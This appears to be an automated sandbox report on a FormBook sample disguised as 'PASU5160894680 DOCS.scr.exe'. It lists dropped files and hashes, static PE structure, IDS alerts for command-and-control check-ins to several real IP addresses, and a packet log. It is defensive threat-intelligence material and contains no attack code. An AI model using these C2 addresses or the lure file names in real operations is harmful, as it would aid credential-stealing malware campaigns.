	ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	GOVT __OF SHARJAH - UNIVERSITY OF SHARJAH - Project 0238.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	bintoday1.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	ORDER_38746_pdf.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	91.184.0.111

Process:	C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.354777075714867
Encrypted:	false
SSDEEP:	24:3gWSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NKIl9r6dj:QWSU4y4RQmFoUeWmfmZ9tK8NDE
MD5:	92C17FC0DE8449D1E50ED56DBEBAA35D
SHA1:	A617D392757DC7B1BEF28448B72CBD131CF4D0FB
SHA-256:	DA2D2B57AFF1C99E62DD8102CF4DB3F2F0621D687D275BFAF3DB77772131E485
SHA-512:	603922B790E772A480C9BF4CFD621827085B0070131EF29DC283F0E901CF783034384F8815C092D79A6EA5DF382EF78AF5AC3D81EBD118D2D5C1E623CE5553D1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\-zud0E

Process:	C:\Windows\SysWOW64\control.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1u5akofx.tei.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dvp5sbje.jun.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tt2yim2u.d2l.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zzypnh4h.jk3.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.956043063468761
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	PASU5160894680 DOCS.scr.exe
File size:	730'112 bytes
MD5:	6e3e35e593690a43c0fabe9ec9367b67
SHA1:	8f9ed06b7b4d0d3c9b4f34ec66919482abacb7f4
SHA256:	6cc54bd57057a1fc07c2726c351a42f47caef4ae05a2693fbf6b9f693c6761c6
SHA512:	eaa34391eb4097e78c6697add4e239c9a46f78a16ec310a9ba7b42151f5ebade044af449c62658c26fc71aa95362de839ca31153241c08db543544e3320307ab
SSDEEP:	12288:Mn7kvDoQtuCbYItzDzrcP97HCWIfyPVB5WPjuyq6jJMYnJVPJUhGAF0M+d:MnoJfkc7rcM9f4WKUMYJxiM
TLSH:	90F42304B6BC6B61E9BA07FA056082503371B563D562EB8C1ED271DF1FF278897A1E43
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0......4........... ... ....@.. ....................................@................................

File Icon


Icon Hash:	0ef7966b49af2fae

Static PE Info

General

Entrypoint:	0x4b0de6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E0E7A6 [Wed Sep 11 00:43:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb0d94	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb2000	0x3200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xaedec	0xaee00	a9028e7d8e8ace1dbf0c5b8f17a7567a	False	0.9559492829699786	data	7.961122101465982	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb2000	0x3200	0x3200	f4995c5ec5ef5caa151cdeb48b4fec92	False	0.92625	data	7.768458498465549	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb6000	0xc	0x200	2e7ea00587cbc8cdf7de247af37aaebc	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb2100	0x2ba6	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9886343296939324
RT_GROUP_ICON	0xb4cb8	0x14	data	1.05
RT_VERSION	0xb4cdc	0x324	data	0.43159203980099503
RT_MANIFEST	0xb5010	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-12T15:05:02.912694+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49790	3.33.130.190	80	TCP
2024-09-12T15:05:31.657380+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49741	43.135.99.21	80	TCP
2024-09-12T15:05:47.701508+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49742	79.125.89.83	80	TCP
2024-09-12T15:05:49.944323+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49743	79.125.89.83	80	TCP
2024-09-12T15:05:52.578611+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49744	79.125.89.83	80	TCP
2024-09-12T15:05:55.206008+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49745	79.125.89.83	80	TCP
2024-09-12T15:06:01.558052+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49747	160.251.148.115	80	TCP
2024-09-12T15:06:04.084737+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49748	160.251.148.115	80	TCP
2024-09-12T15:06:06.832873+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49749	160.251.148.115	80	TCP
2024-09-12T15:06:09.188031+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49750	160.251.148.115	80	TCP
2024-09-12T15:06:14.682539+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49751	3.33.130.190	80	TCP
2024-09-12T15:06:17.225496+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49752	3.33.130.190	80	TCP
2024-09-12T15:06:19.790824+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49753	3.33.130.190	80	TCP
2024-09-12T15:06:22.322097+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49754	3.33.130.190	80	TCP
2024-09-12T15:06:28.382906+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49755	203.161.43.228	80	TCP
2024-09-12T15:06:30.954941+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49756	203.161.43.228	80	TCP
2024-09-12T15:06:33.601631+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49757	203.161.43.228	80	TCP
2024-09-12T15:06:36.197853+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49758	203.161.43.228	80	TCP
2024-09-12T15:06:43.007045+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49759	3.33.130.190	80	TCP
2024-09-12T15:06:44.485859+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49760	3.33.130.190	80	TCP
2024-09-12T15:06:47.036755+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49761	3.33.130.190	80	TCP
2024-09-12T15:06:49.594348+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49762	3.33.130.190	80	TCP
2024-09-12T15:06:55.291039+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49763	185.199.108.153	80	TCP
2024-09-12T15:06:57.638304+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49764	185.199.108.153	80	TCP
2024-09-12T15:07:00.202554+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49765	185.199.108.153	80	TCP
2024-09-12T15:07:02.761171+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49766	185.199.108.153	80	TCP
2024-09-12T15:07:18.984871+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49767	91.184.0.200	80	TCP
2024-09-12T15:07:21.647591+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49768	91.184.0.200	80	TCP
2024-09-12T15:07:24.253464+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49769	91.184.0.200	80	TCP
2024-09-12T15:07:26.677164+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49770	91.184.0.200	80	TCP
2024-09-12T15:07:32.867699+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49771	154.23.176.197	80	TCP
2024-09-12T15:07:35.362763+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49772	154.23.176.197	80	TCP
2024-09-12T15:07:38.183068+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49773	154.23.176.197	80	TCP
2024-09-12T15:07:40.502677+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49774	154.23.176.197	80	TCP
2024-09-12T15:07:47.152302+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49775	45.113.201.77	80	TCP
2024-09-12T15:07:49.683729+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49776	45.113.201.77	80	TCP
2024-09-12T15:07:52.206347+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49777	45.113.201.77	80	TCP
2024-09-12T15:07:55.526268+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49778	45.113.201.77	80	TCP
2024-09-12T15:08:01.064027+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49779	76.223.113.161	80	TCP
2024-09-12T15:08:03.599426+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49780	76.223.113.161	80	TCP
2024-09-12T15:08:06.213488+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49781	76.223.113.161	80	TCP
2024-09-12T15:08:08.786856+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49782	76.223.113.161	80	TCP
2024-09-12T15:08:22.883446+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49783	84.32.84.37	80	TCP
2024-09-12T15:08:25.443626+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49784	84.32.84.37	80	TCP
2024-09-12T15:08:27.981899+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49785	84.32.84.37	80	TCP
2024-09-12T15:08:30.549061+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49786	84.32.84.37	80	TCP
2024-09-12T15:08:36.171879+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49787	3.33.130.190	80	TCP
2024-09-12T15:08:38.741159+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49788	3.33.130.190	80	TCP
2024-09-12T15:08:42.214171+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49789	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 12, 2024 15:05:30.769248009 CEST	49741	80	192.168.2.4	43.135.99.21
Sep 12, 2024 15:05:30.774234056 CEST	80	49741	43.135.99.21	192.168.2.4
Sep 12, 2024 15:05:30.774389029 CEST	49741	80	192.168.2.4	43.135.99.21
Sep 12, 2024 15:05:30.788381100 CEST	49741	80	192.168.2.4	43.135.99.21
Sep 12, 2024 15:05:30.793983936 CEST	80	49741	43.135.99.21	192.168.2.4
Sep 12, 2024 15:05:31.654726028 CEST	80	49741	43.135.99.21	192.168.2.4
Sep 12, 2024 15:05:31.657227039 CEST	80	49741	43.135.99.21	192.168.2.4
Sep 12, 2024 15:05:31.657380104 CEST	49741	80	192.168.2.4	43.135.99.21
Sep 12, 2024 15:05:31.658724070 CEST	49741	80	192.168.2.4	43.135.99.21
Sep 12, 2024 15:05:31.664450884 CEST	80	49741	43.135.99.21	192.168.2.4
Sep 12, 2024 15:05:46.738044024 CEST	49742	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:46.743120909 CEST	80	49742	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:46.743208885 CEST	49742	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:46.756665945 CEST	49742	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:46.761567116 CEST	80	49742	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:47.701035023 CEST	80	49742	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:47.701307058 CEST	80	49742	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:47.701317072 CEST	80	49742	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:47.701508045 CEST	49742	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:47.701590061 CEST	80	49742	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:47.701634884 CEST	49742	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:48.275643110 CEST	49742	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:49.294416904 CEST	49743	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:49.300297022 CEST	80	49743	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:49.300417900 CEST	49743	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:49.319444895 CEST	49743	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:49.324690104 CEST	80	49743	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:49.943836927 CEST	80	49743	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:49.944250107 CEST	80	49743	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:49.944323063 CEST	49743	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:50.834902048 CEST	49743	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:51.853961945 CEST	49744	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:51.859164000 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:51.859328032 CEST	49744	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:51.871735096 CEST	49744	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:51.876894951 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:51.876913071 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:51.876924992 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:51.876981020 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:51.876991034 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:51.877032042 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:51.877072096 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:51.877166986 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:51.877183914 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:52.576183081 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:52.578493118 CEST	80	49744	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:52.578610897 CEST	49744	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:53.381675959 CEST	49744	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:54.400867939 CEST	49745	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:54.573700905 CEST	80	49745	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:54.573815107 CEST	49745	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:54.581515074 CEST	49745	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:54.586628914 CEST	80	49745	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:55.205617905 CEST	80	49745	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:55.205786943 CEST	80	49745	79.125.89.83	192.168.2.4
Sep 12, 2024 15:05:55.206007957 CEST	49745	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:55.210577965 CEST	49745	80	192.168.2.4	79.125.89.83
Sep 12, 2024 15:05:55.215498924 CEST	80	49745	79.125.89.83	192.168.2.4
Sep 12, 2024 15:06:00.726280928 CEST	49747	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:00.731182098 CEST	80	49747	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:00.731364012 CEST	49747	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:00.747618914 CEST	49747	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:00.756361961 CEST	80	49747	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:01.557938099 CEST	80	49747	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:01.557965040 CEST	80	49747	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:01.558052063 CEST	49747	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:02.256835938 CEST	49747	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:03.276019096 CEST	49748	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:03.281519890 CEST	80	49748	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:03.281672955 CEST	49748	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:03.292758942 CEST	49748	80	192.168.2.4	160.251.148.115
